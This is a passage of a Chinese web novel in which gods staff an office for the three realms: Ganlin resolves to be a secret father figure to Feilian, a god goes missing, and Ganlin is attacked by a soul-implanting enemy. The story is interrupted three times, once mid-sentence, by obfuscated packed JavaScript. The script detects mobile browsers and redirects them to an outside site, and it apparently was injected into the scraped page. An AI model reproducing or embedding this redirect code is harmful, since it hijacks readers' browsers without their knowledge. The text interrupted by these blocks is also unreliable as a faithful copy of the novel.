“原来你是单相思啊?”祸斗无意识地补了一刀。 这没什么不好承认的,飞廉“嗯”了一声,所以从头到尾就不存在什么让甘霖再次爱上他,从漫长的几万年前开始到现在,只是他不死心,不愿死心,徒劳无功地一次次尝试和追求罢了。 祸斗肉都忘了嚼,吭哧了半天,“嗯,怪不得您老人家一天到晚挂个死人脸呢,果然单相思的怨夫死感很重啊,我这种天天过恩爱夫夫生活的狗子是不能理解的。” 他话说的尖锐,不过飞廉也没生气,“又不是迦楼罗把你赶出来的时候了?” “这是情.趣,就因为这样所以才会更恩爱呢!”祸斗反驳,然后凭着最后一丝人性安慰飞廉,“大人您放心,我有预感,甘霖马上就会开窍的。” “承你吉言。”飞廉看了眼手机,祸斗发送的东西已经下载好了,于是起身头也不回地走了。 第二快烤到皮肉伤的牛排端了上来,祸斗又开始愉快地进食。 “一大早你就吃这个啊?” 熟悉的话语传来,祸斗抬头,微笑,“嗨,甘霖,好久不见。” “谢谢,昨天早上刚见过。”甘霖拿着买好的早饭坐在他对面,“你不是陪迦楼罗去北海了吗,怎么又出现在这里了。” “来给飞廉送个东西,吃过就要走了。” 听到飞廉的名字,甘霖的表情忽然变得有些奇怪,他摸了摸下巴,最后还是压低声音神秘兮兮地说,“我昨晚梦到他了。” 祸斗的狗耳朵立马竖了起来,“什么,真的假的?” “这还能有假,我都梦到过两次了,昨晚是第二次。”甘霖道,“我还发现了一个问题。” 祸斗把牛排都放下了,伸长脖子过去,“什么?” “五千年前雨神屏翳不是陨落了吗,就是魂飞魄散,灰飞烟灭了对吧?” “嗯……”祸斗点头,这和飞廉的梦有什么关系。 “我昨晚也梦见屏翳了,我发现自己和他长得几乎一模一样,可能是因为哪个掌管容貌的灵魂小碎片不小心掉进我的灵魂里了吧,我以前就觉得你们对我都太照顾太客气了,昨晚我可算是找到原因了,是因为我身上有故人之姿,对吧?”甘霖挑眉,表情有些得意。 “嗯。”祸斗应声,非要这么说,也不是不可以,“你昨晚到底梦到什么了?” “其实也没什么,就是梦到一些飞廉和屏翳相处的片段,心中起了一些感慨。”梦境太清晰,比4k蓝光还清晰,甘霖到现在都还能清楚地想到每一处细节。 祸斗眼神期待,“什么样的感慨?” 难道是曾经那么相爱现在想重续前缘的感慨吗?要真是这样的话,他刚才祝福飞廉的话不就要应验了,他可真是个大预言家! “飞廉大人对我那么好,又给我车又给我房,还给我买衣服买鞋,保护我,肯定是把我当成屏翳了。” “对啊,是这样啊!”祸斗拔地而起,双手撑在桌子上,无形的尾巴狂甩,眼神简直比看到狗粮还兴奋。 “屏翳把他养大,可他还没来得及报答,屏翳就没了,这就是子欲养而亲不待啊,这是世间的悲剧啊,所以他看到我,就想通过对我好来弥补这种遗憾。” “对,对吧……”祸斗慢慢坐回去,怎么感觉不太对啊。 “他是个好孩子,可我昨晚的梦里,屏翳完全不是个合格的父亲,既然他把这份孝心尽到了我的身上,我就要把他缺失的父爱弥补给他!” “父、父爱?”祸斗已经面露土色,人都呆住了。 “对啊,反正我这辈子也不可能有自己的孩子了,就这么无痛当爹了多爽,还是个大神!”甘霖看看左右,压低声音,“不过这事儿你不能跟别人说,也不能让飞廉大人知道。” “为啥?” 祸斗就算知道了也不敢说,他觉得他要是敢告诉飞廉,对方绝对会用眼神秒杀他,但他现在真的很好奇甘霖是怎么想的,因为对方的每一句话都说在他的设想之外,那感觉就好像他看着迦楼罗朝他扑过来,以为对方会亲在自己的嘴上,结果对方却啄在自己的眼上一样,那么猝不及防,那么意想不到。 “那可是飞廉大人,让别人知道我区区一个凡人,胆大包天把他当儿子,他面子上下不来不说,会影响他的威严,这是绝对不可以的。”甘霖现在想到单位里有些人看飞廉的眼神和对他的态度都还有些生气,绝对不能因为这种事再让飞廉被诟病。 “还有最重要的一点。”甘霖想到自己早上坐在马桶上刷的小视频,“如果真心要对一个人好,默默付出,润物无声比较好,要是大张旗鼓的,只会让人有心理负担,还会觉得我是不是在演戏在讨好,怀疑我的用心,所以综上考虑,我决定付出无言的父爱,弥补屏翳对飞廉的亏欠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368393|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “啧啧。”祸斗都想鼓掌了,他简直叹为观止,“怪不得你们人类文化那么丰富,是因为你们都是逻辑怪吗?” “什么意思?” “你这一套说辞太完美了,我都感动了,逻辑缜密,情感真挚,我无话可说,大胆去做吧。”祸斗微笑。 要不是天条不允许,甘霖情况又特殊,他真的很想摇着对方的肩膀大吼,别想那么多了,你就是屏翳本人啊,他不想孝顺你,他单纯就想干.你,你们之间不应该有父子之爱,有的应该是肉.体的欲望啊! “你在干什么?”明明吃了那么多肉,祸斗却感觉累了。 “剥鹌鹑蛋啊,待会儿给飞廉大人送上去?”甘霖说,“鹌鹑蛋小,不会噎人,一口一个,吃着也不影响形象。” “他喜欢吃鹌鹑蛋?” “不知道啊,不过没关系,我买了好几样,他总有爱吃的吧,我甚至还准备了泡面,可以现场给他煮。”甘霖飞快地剥好了好几个卤香鹌鹑蛋。 “他不吃怎么办?这样不就辜负你的心意了?” “那就不吃呗,给孰湖吃,那算什么辜负,我不在意的。” 祸斗一口气都没松出去,甘霖的话就让他无语了。 “父母对孩子的爱都是无私的,不计较回报的,我也要这样,做自己的就好,至于孩子接不接受,是他的自由。”甘霖整理好早饭起身,“祸斗大人,那我就先上去了,你慢慢吃。” “哦。”祸斗目送甘霖离开。 十分钟后,他收到了一条消息,点开一看,是飞廉发来的一张图片,桌面上是各种早饭,鹌鹑蛋小笼包,豆浆油条胡辣汤,一应俱全。 【飞廉:甘霖送的,承你吉言。】 祸斗看着手机都有些心酸了,想到自己为了增加和迦楼罗的情.趣看的那些没法分享给别人的小说,忽然又乐观了起来。 在那些书里,亲生的父子之爱都有可能变质呢,何况这种山寨得到,说不定哪天就变质了,不管怎么样,父子情也是情,总算是有个好的开头了。 祸斗离开了,不知为什么,突然就想抱抱自家的小山鸡了。 飞廉用眼神逼退了想要上来分一杯羹的孰湖,自己吃掉了甘霖带来的所有早饭。 “大人,你爱吃什么告诉我吧,我每天给你带,省得我买多了撑着你。”甘霖撑着下巴看着对面办公桌前吃早饭的飞廉问。 飞廉抬眼,“什么都可以,我不挑食。”只要是对方给的,他什么都接受。 甘霖一听心里又难受了,真是可怜啊,只有这种缺爱的,没有被好好对待过的孩子才会不挑食吧,因为没有挑食的资格,在爱里长大的孩子,哪个不能说出个十样八样自己爱吃的东西啊。 “说嘛,我只想知道你爱吃的。” 飞廉想了想,看着桌面一角两包没拆开的方便面,“泡面吧。”主要那是甘霖亲手做的。 “好嘞,这样,明天上班前你来房车,我煮了咱俩一起在家里吃好了,还可以多放点配菜。” 飞廉:没想到祸斗真有吉言,甘霖好像开窍了。 甘霖:我可真是厉害啊,第一次当爹就开窍了。 39.39.魔子(十四)飞廉大人是卵生的 早饭过后,林安正好传了那几起在首都发生的突然发狂杀人事件相关人员的资料过来。 因为是很细致的资料,涵盖了行凶者和受害者的生平,加上陈家的事情,涉案超过三十个人,所以打印出了几百张资料。 孰湖和丁令威还在排查其他城市类似的案件,所以甘霖就分了一半给飞廉,两个人一起看。 寒流已经过境,风也停了,虽然气温很低,但是天空透蓝的就好像画家手里透明的水彩,阳光透过窗户打在飞廉身上,照得他右耳的耳坠和神色的皮肤都在发光。 甘霖看了一会儿他翻动文件的筋骨分明的手,问道:“大人,你是天生黑皮肤吗?” 飞廉抬眼,“嗯。” “为什么?” 这个问题很奇怪,神仙妖精都有自己的本貌,这个本貌是天生的,只可伪装不可改变,就和人有各种长相一样,飞廉天生皮肤黑也正常,但甘霖还是问了,因为他总觉得飞廉不像是中原神仙,尤其是皮肤和深刻的五官,异域感太重了。 飞廉想了想,“因为我是在雪山顶峰永不日落之处化生出来的,晒黑了吧。” 这个回答就像是开玩笑一样,但他的表情却很认真。 甘霖迟疑了一下,“是雨神屏翳将你点化的吗,他为什么叫你……龙雀?” 飞廉很明显地愣了一下,坐直身体放下手中的文件,“你为什么会知道这个名字?” 甘霖被问得有些语塞,不过看飞廉并不像是生气的样子,所以还是说了出来,“因为想了解同事领导,所以就查了点资料,也听别人说了一下吧,至于龙雀的名字,是有两次做梦,迷迷糊糊听到的,是你以前的名字吧……这个不能说吗?” 飞廉看着他漂亮的眼睛,嗯了一声,“没什么不能说的,那是屏翳给我起的名字,算是乳名吧,只有关系亲近的人会叫。”其实只有屏翳一个人会这么叫他。 “原来如此。”甘霖猜到了,应该是他第一次梦到飞廉时那个神仙和屏翳两个人会这么叫吧。 第一个是飞廉爱而不得的人,可惜他也没梦到对方的脸,或许是因为对方在飞廉的记忆中已经很模糊了,不过屏翳的脸他倒是看得清清楚楚,或许因为屏翳终究还是在飞廉生命中占据了太多太重要的地位吧。 想到这里甘霖还有点开心,没有有了媳妇忘了爹,他这个爹当得很安心。 “你应该知道我是盘古大神陨落前的最后一口气息所化了。”飞廉道。 “嗯,和雷神惊泽一起。”甘霖点点头。 “风雨雷三大神里,我是最小的,屏翳比我大五千岁,惊泽比我大两千岁。” “啊,你不是和惊泽同时在盘古大神陨落时化生的吗,怎么差这么多,还有,冒昧问一句,你今年多少岁啊?”甘霖很惊讶。 “一万七千多,再仔细的,我也记不清了,一两百年对我而言,没有任何区别。”飞廉道,“陨落时盘古大神已经非常虚弱了,他的最后一口气息比云还轻,若不是屏翳用灵力将那口气息捕捉保存,这个世界也不会有我的存在了。” 在那之后屏翳就把装着盘古气息的瓶子挂在身上,本来打算找个什么天材地宝点化出来的,结果东逛西逛,这事儿就这么一直拖了下去。 “他逛什么啊?”甘霖不解,什么事情能比生孩子更重要吗。 “喝酒,那时候盘古大神刚陨落,世间灵力值正处于上升期,虽然还没有像他或惊泽那样的神,但孕育出不少灵兽,白泽麒麟那些,就是其中之一,屏翳为人不拘小节,人缘很好,所以他到哪里都有酒喝。” 飞廉神色变得有些柔和,想起什么唇角还带了点浅笑,“有一次他找到一眼天生酒泉,没有容器,就把收着我的瓶子拿来当酒杯,要不是那时候我因为从盘古大神哪里继承的天生灵力把自己培养出了灵识,可能就消散了。” “那你……”甘霖都要眼泪汪汪了,这什么黑暗童年,多么不堪回首啊。 “被酒泡醉了。” 也是因为这次事情,屏翳终于想起自己身上还挂着盘古的一口气,然后才开始认真对待这件事,那时候他正好飘到极西之地日光用照的雪峰上,那里因为当地凡人部落的信仰崇拜催生了名为龙雀,背翅生风的灵兽,正好轮回成一颗尚未孵化的卵,屏翳就把飞廉投进了那颗蛋里。 屏翳把蛋放在雪山顶峰,偶尔去看看,送些琼浆玉液或灵气结晶,托当地人好好照顾龙雀卵,就这么又过了一千年,飞廉才彻底出世。 “大人……是卵生的?”甘霖眨巴眼睛,莫名觉得有点萌,一颗圆乎乎的蛋啊。 飞廉蹙眉,觉得应该不是这样,“你要这么说也没错。” “那你的原型就是那种名为龙雀的鸟咯?”甘霖思忖,那他到底是和屏翳一样的天生神祇,还是和白泽一样的神兽啊。 “不,我就是我,只是吸收了龙雀的灵力,借了卵壳而已。”飞廉一眼就看出甘霖在想什么,于是解释道。 甘霖再次感慨,“飞廉大人真是太不容易了,感觉那位屏翳大神没把您给养废,也真是你自己够争气。”可能是受极西异域之地的龙雀影响,所以飞廉外貌才会有异域风情吧。 飞廉看着他,语气罕见有些戏谑,“他本人要是有你这种自觉就好了。” 虽然自己不是屏翳,但甘霖莫名就是心虚,“大人放心,我一定会好好工作,绝对不让你操心。”生活中也会尽心尽力照顾你,当一个好爹地! 飞廉重新拿起文件,“好。” 说完他想起什么,又重新抬头,“你说你梦到过我两次?就这两日?” “那倒没有,中间也隔了好多天呢,我想可能是因为天天和大人在一起,所以受到大人灵力的影响,才会梦到大人的回忆吧。” “上次呢,梦到什么?” “呃……”甘霖想了想,梦到对方把爱而不得的初恋从男人池子里捞出来的事情可不能说啊,“忘了,梦吗,有时候眼睛一睁就忘了。” 飞廉便没有再问什么。 两个人在办公室看了一上午的案件资料,结果什么也没发现,甘霖起身的时候都有点头晕眼花了,“完全看不出来这些人之间有什么联系,陈家虽说没落了些,但也是富豪之家,有的住在首都最边沿,靠着家里一亩三分田辛苦度日,有的是公务人员,有的是街头小贩,生活根本没有交集嘛。” “我真的搞不懂这个始作俑者挑人的标准是什么,也不知道承泣和朱晦去西北那边调查得怎么样了。”甘霖饿得眼冒金星,“这些事情要是被普通老百姓知道了,肯定会引起恐慌吧,因为谁也不知道下一个会不会是自己,和无差别杀人没两样嘛。” “所幸这些案子之间的间隔都比较长,基本都在二十天甚至一个月之间,陈家的案子刚发生过,我们还有时间。” 下班时间已经到了,甘霖准备去吃饭,迟疑了一下,他决定还是邀请一下飞廉,“大人,要不要一起去吃饭?”好的父母不管孩子吃不吃,都一定会做好准备的。 飞廉起身,“走。” 甘霖非常愉悦,“一个人吃饭很寂寞的,两个人就很好,还可以聊聊天什么的。”他最不喜欢一个人吃饭了。 飞廉看他弯弯的眉眼,心里也是一片柔软,“以后你可以找我。” “真的吗?那太好了,那只要孰湖不在,我一定找你。”甘霖能感觉到飞廉的心情很轻松,心中长叹,果然爱能感化一切啊,让不吃饭的孩子都爱上吃饭了。 结果不知道为什么,他说完这句话,飞廉的脸一下子就阴沉了,两人在食堂门口碰到孰湖后,飞廉整个人都变得冷硬了,进了食堂也没点餐,就随便找了个位置坐下来。 “孰湖,我和你一样的套餐就可以。”甘霖百思不得其解,跟着他坐下,而且就坐在他旁边,育儿专家说了,情绪起伏大的孩子其实就是缺乏安全感,需要父母无条件的陪伴。 果然,飞廉看了眼两人几乎贴在一起的胳膊,情绪就好了很多,甘霖察觉到了,心里非常得意,虽然是半路父子,不过他已经找到窍门了,拿捏。 孰湖也没敢问飞廉吃什么,就给他点了另外一个套餐,然后坐在了两人对面。 “丁令威呢,你不是和他一起去跑各个区的城隍收集资料了吗?”甘霖问。 “哦,老丁说他不吃饭……”孰湖呆愣地看向食堂门口。 甘霖回头,丁令威正和其他科室的同事走进来,不像平时在办公室一样板着脸,虽然也说不上表情多开朗,但明显一副温文尔雅,翩翩君子的模样。 孰湖眨巴着蓝色地天真大眼,“他这么快就饿了?” 甘霖冷笑了一下,这有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384747|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么看不明白的,丁令威并非是不想吃饭,只是不想和孰湖一起吃饭,或者更明白地说,就是不想和喜欢并且崇拜飞廉的孰湖一起吃饭。 丁令威搪塞孰湖的都不能叫借口或者是谎言,明明知道孰湖这时候一定会来食堂,也没有刻意地避开,因为他根本不怕被拆穿,就是一副我不想和你吃饭,随便找了个借口,你就算发现了又如何的态度。 甘霖早就发现了,丁令威不光对飞廉态度不好,就是像承泣白泽或者祸斗迦楼罗这样,和飞廉关系好的大神,他也是挂着一副死人脸,也就面子上的态度还过得去罢了。 饭菜上来,甘霖看都没看夹了一筷子狠狠塞进嘴里,心里拉响警报,霸|凌,这就是职场霸|凌,我家孩子被霸|凌了,我这个当爹的可不能只看着! “呕……”气势将出便折戟沉沙,甘霖强忍着小小的干呕了一下,萎靡地看着眼前的餐盘里他刚才吃了一口的白色的像是白萝卜丝一样的东西,惨白着脸抬头看孰湖,“这是什么?” 孰湖吃的和他是一样的,愉快地夹了一筷放进嘴里,“凉拌天翔草啊,我的最爱!” “天翔草?”甘霖面如菜色,是因为拿天上的翔培育出来的所以才叫这个名字吗? “对啊,这可是只有三十六重天上灵气最纯净的云彩之上才能长出来的植物,现在还没有办法人工培育,限量的,一人只能夹一下,每月最多只能见一次。”孰湖就像和别人安利自己偶像的粉丝一样,极力要让甘霖觉得这是三界最美味的东西。 太可怕了,怎么会有这么可怕的东西,夹杂着土腥味和生草苦味,还有一股说不清道不明的臭味,这玩意儿还限量?甘霖把怀疑的目光投向飞廉,难不成只有他觉得这东西根本不能下咽,因为他是个凡人? 飞廉无奈看了他一眼,“我也不爱吃。”他知道甘霖不爱吃这个,想拦但是没来得及。 “这味道好像勾起了我灵魂深处什么可怕的回忆。”甘霖端起汤冲了冲嘴里的怪味,看了看周围,居然有很多人餐盘上都摆着这么一小碗。 “孰湖的原形……像马。”飞廉低声道。 怪不得,那些喜欢吃这个天翔草的原形肯定都是食草动物! 飞廉把自己面前的一个白色小瓷碗放在甘霖面前,“吃这个。” 甘霖看了一下,也是一盘凉拌菜,质感有点像没有豆子的豆芽,不过是浅浅的绿色,半透明,有种玉的质感。 被刚才那一下给冲击到了,他对这种草一样的植物有点应激,不是很想吃。 “试试。” 算了,父母不能随便拒绝孩子的好意,可能会伤害到他们的心灵,甘霖心一横,夹了两根塞进嘴里,眼睛瞬间就亮了,“这什么,好吃啊。” 飞廉眼底带笑,“玉灵芽。”屏翳最喜欢吃的,有这么一小碗,屏翳能下三坛酒。 “那个也很珍贵的,比天翔草有过之而无不及呢,也是纯野生,没有人工培育的。”孰湖补了一嘴。 “真的很好吃,而且不知道为什么你……”甘霖看着碗中色香味俱全的玉灵芽,“有种莫名的熟悉感,好像以前看过也吃过似的。” 说完他笑了笑,“不可能的对吧,这么珍贵的东西。” 飞廉没说什么,掏出手机给白泽发消息:【之前三界药食用资源局不是提了一个玉灵芽人工培育计划,进行得怎么样了?】 【白泽:还没通过就被驳回了,难度太大,玉灵芽又很金贵,经不起实验折腾,也不是没有别的菜可以吃,没必要。】 【飞廉:药食用资源局现在的领导是谁?】 【白泽:本来是后土大神分管的,不过你也知道,她已经不知所踪千年,现在副科长是后稷。】 【飞廉:把后稷的联系方式给我。】 【白泽:你要干嘛?】 【飞廉:助力玉灵芽人工养殖计划。】 【白泽:……】 【白泽:想起来了,屏翳喜欢这个是吧,啧啧,这世界不能缺了恋爱脑,你加油,我期待自己吃玉灵芽吃到吐的那一天。】 甘霖把自己那份天翔草给了垂涎三尺的孰湖,愉快地享受了玉灵芽。 身边忽然闪现了一个人,上下联通事务科,下方特派联络员,葵璇。 “飞廉大人,冥君殿下和朱晦失联了!” 40.40.魔子(十五)承泣失踪了 神仙驻凡办事处虽然带着驻凡二字,但其实并不只是处理凡间的事,更多的是协调处理三界的事宜,就像是人间各个部门集中处理事务的行政服务中心一样,是天庭统筹三界的前线,从神到妖,从龙族到禽族,办事处都管。 东王公是东华帝君,地位超然,但其实下辖各科的科长比他地位尊贵的也不在少数,譬如飞廉。 但幽都是不同的,从所属关系来看,幽都归天庭管,冥差阴兵也是仙官天兵的一种,冥君承泣的地位虽然要比天帝低一级,但幽都的运作和生态文化又是独立而特殊的,所以承泣可以说掌管了三界中的一界。 因为这样,葵璇是幽都特派的联络员,是办事处里一个比较特殊的存在,几乎不怎么在众人面前。 他显然不想让别人知道这件事,可他单是出现就已经很引人注目了,所以即使声音压得很低也没什么用,别人还是把他脸上惊惶的表情看得一清二楚,凑在一起窃窃私语起来。 飞廉蹙了一下眉,“你先回去,我马上就到。” 葵璇应声后消失在原地。 “吃吧,吃完饭再说。”飞廉对甘霖道。 孰湖已经端起饭碗开始扒饭了,不管怎么说,他可不能浪费两份珍贵的天翔草,但甘霖就有些食不下咽了,“现在还吃什么饭,先去找承泣比较重要吧。” 飞廉表情凝重但并不焦急,“承泣不会有事,应该是被困在了什么地方或法阵里,就算是有问题我们也不能直接过去,你先吃饭。” 甘霖看他自有一番打算的样子,便没有再说什么,飞快地把肚子填饱,“走吧,快点去,那家伙嘴那么毒,说不定把自己毒晕了,在哪个戈壁滩的山坳里躺平呢。” 三人去了九楼葵璇的办公室,葵璇正在原地打转,看到飞廉就跟看到救命稻草一样,“大人,我刚才又试了,还是没办法联系上冥君殿下和朱晦,我还去找了西北大区办事处帮忙,托他们去殿下最后出现的地方查看,但也没有任何发现!” 飞廉:“承泣最后出现是在什么地方?” “我早上九点的时候和他通过电话,当时他正从祁连山前往昆仑山,应该在昆仑路山东入口,格尔木市附近。”葵璇查看了一下通话记录,“之后他的电话就关机联系不上了。” “我记得西北那边有个案子,是牧民突然发狂,砍死了一起放牧的邻居,还杀了十几只羊?”甘霖回忆着昨天会议上的资料。 葵璇点头,“没错,殿下和朱晦就是要去查这件事的。” 飞廉沉思了一下,拿出手机,“喂,迦楼罗,你让祸斗现在就过来一趟,和我去趟西北,还有,你和西王母打过交道,把她的联系方式给我。” 电话挂断迦楼罗的消息就到了,飞廉直接给西王母拨了过去,但是那边想了很久都没有接。 甘霖有些奇怪,小小声问孰湖,“大人要请西王母帮忙?” 孰湖摇摇头,“不是,西王母地位特殊,几乎等同于西北一方小天帝了,我们这些小喽啰还好啦,她也不在意,但是像冥君或者飞廉大人这样的人物去,必须要经过她同意。” “哇,这么难搞。”甘霖咋舌。 飞廉打第二个电话,那边才接通,也不是西王母本人,是她的侍从,又过了几分钟才转接到西王母的手中。 “承泣在你处不见了,我现在就要过去……不是和你商量,只是通知,你知道就好。”说完也不管那边什么反应,飞廉直接挂了电话,“祸斗一到我们就走。” 结果祸斗过了半个小时才出现,衣衫有些不整,气喘吁吁的,“怎么了,怎么了?!” 飞廉等得已经很不耐烦了,冷冷地看了他一眼,“和我去趟昆仑,甘霖孰湖,你们留下。” 孰湖已经习惯留下看家了,但是甘霖很意外,“我留下?” 飞廉犹豫了一下,最终还是颔首,“你留下。”这次对方能让承泣失去踪迹,不是泛泛之辈,可能会比鬼车和谏珂棘手得多。 甘霖也猜到他在想什么,虽然从工作开始到现在,他没拖过后腿,帮过倒忙,但不是因为他自己有多厉害,是因为飞廉太无敌,敌人不够看。 “好,我留下,那你和祸斗一定要注意安全,随时保持联系,报备行踪,千万别跟葫芦娃救爷爷似的。”甘霖笑道,从善如流地接受了安排。 “葫芦娃救爷爷是什么?”飞廉问。 “就是承泣和朱晦不见了,你和祸斗去找,要是你俩也不见了,我就只能和孰湖上了,排着队地送人头,就是葫芦娃救爷爷。”甘霖笑着拍了拍飞廉的胳膊,满眼信任,“有你在肯定不会那样的,你肯定分分钟找到承泣,然后带他们回来,对吧?” 飞廉手指蜷缩了一下,摸了摸他的脑袋,“嗯。” 飞廉和祸斗很快离开了,甘霖和孰湖两个人大眼瞪小眼地看了一会儿,“现在是午休时间,我先去睡个午觉吧,你呢?” 孰湖想了想,“我还要整理一下和丁令威一起调查的资料。” 甘霖看着他可爱的正太脸,做作地叹息,“惹人怜爱的牛马……好好加油吧。” 说完他离开城堡,回到了自己的小院子,结果脚刚踏进院门,就陷入了一片虚无地黑暗。 他心中一凛,浑身的神经都紧绷了起来,抬手摸向四周,本来应该近在手边的院门却怎么也摸不到,他甚至都有些感觉不到自己的身体。 纯粹的黑暗容易让人陷入恐慌,甘霖蹲下来,尽力将自己缩成一团以求得一丝安全感,但呼吸还是越来越急促,“怎么回事……” 他的喃喃话音刚落,一个笑声便响了起来,“哈哈,我就知道,飞廉这次一定不会带着你。” 听到声音让人安心,即使对方是敌人,甘霖喊道,“你是谁!你要做什么?” 那人没有回答他的问题,只是语气带笑地自言自语,“我终于抓到你了,你的身体我很喜欢,特别适合我的儿子。” 对方说完,甘霖面前就出现了一点犹如救赎一般的亮光,是一个散发微光的人影,就像是白泽他们随手一挥就能呈现出来的幻想,但是要模糊得多,像是开了柔光滤镜似的。 但即使如此,甘霖也能看得出来,这是一个俊秀无双,风采卓然的年轻人,身高和他差不多,身上的衣袍一丝不苟,略显清瘦,让人一下就能联想到芝兰玉树,温润如玉八个字。 对方眼睛闭着,无知无觉,完全就是一个幽魂,飘荡着一点点逼近了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393568|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甘霖。 甘霖的内心深处就像是决堤的洪水一样,恐惧快要把他淹没了,本能让他要远离眼前的年轻人,可身体却完全不听使唤,几秒钟,那幽魂就贴上了他的身体。 “不要!放开我!”他放声大喊,身体竟然真的像是获得了什么能量一样,往后退了几步。 可还没等他高兴,一只无形的大手带着尖锐的利爪,就死死地从后面抓住了他的脖子,掐得他几乎窒息,连声带都无法颤动,发出的声音犹如蚊鸣,“放、放手……” “不要乱动。”那人说道,心情很好,“很快就会结束的。” 年轻人的幽魂终于还是再次贴上了甘霖的身体,没有像他曾看过的灵异片那样直接穿过他的身体,而是一点点挤进了他的躯壳。 就像是在给一个已经撑到极限的气球里不断地打气一样,甘霖浑身都传来剧烈的疼痛,感觉自己好像随时都要爆炸,四分五裂,每一寸皮肤都被撑薄到极限,裂开了无数带血的口子。 他蜷缩一团,倒在地上抱着自己来回打滚,痛得发出嘶声力竭地呐喊,“啊啊啊!!!出去!从我的身体里滚出去!!!” 但是没有用,年轻人沉睡的幽魂最终还是完全进入了甘霖的身体,他双眼暴突,等着布满血丝的双眼盯着黑暗虚空中的一处,发出最后一声大喊后,彻底失去了意识,萎靡在地。 黑暗中的无形大手将他打横抱起,声音怜爱,“是因为你从小就崇拜屏翳所以才和他长得很像吗,就让你最喜欢的屏翳来做你新的肉身吧,爹很快就会把你唤醒的。” 另一边飞廉和祸斗只用了几分钟就到了昆仑山东麓,这里是昆仑山的起点,山脉渐渐起势,线条柔缓,和作为天庭西大门的险峻昆仑看上去完全没什么关系。 四目全是茫茫无际的戈壁,生长着稀疏的名为骆驼刺的,看不出是死还是活,如同干草一样的戈壁特有植物。 “能闻到承泣的味道吗?”飞廉问已经化为原形的祸斗。 四只脚都踩着赤红火焰,双眼也红如炭火的黑犬闭眼嗅闻,最终还是摇摇头,“没有,什么都没有。” “什么都没有?” 祸斗嗯了一声,“很奇怪,就算是闻不到承泣的味道,昆仑山脉有很多灵力元,这里不光生活着很多野生动物,还是‘凡人外’聚集修炼的地方,就算这里比较偏,数量再怎么少,肯定也会留下一些味道,但我现在除了空气什么都闻不到。” 飞廉蹙眉沉思,“有人刻意把所有的味道和踪迹都隐藏起来了,他猜到我一定会找你过来帮忙。” 祸斗“汪”了一声,“现在怎么办?” 飞廉看向西方,西王母的宫殿,天帝的行宫,直接连接天庭的天梯,就在西方昆仑之巅,凡人看不到也达不到的地方。 “去见见西王母。” 说完他想起甘霖的话,拿出手机给对方打了个电话,但甘霖没接。 “怎么不接电话?”祸斗看着他的手机屏幕,“出什么事了吗?” 飞廉看了眼时间,“这个时候他应该在午睡。” 【飞廉:暂无承泣行踪,将见西王母。】 他发消息报备了行踪,“走吧,醒了他会回复我。”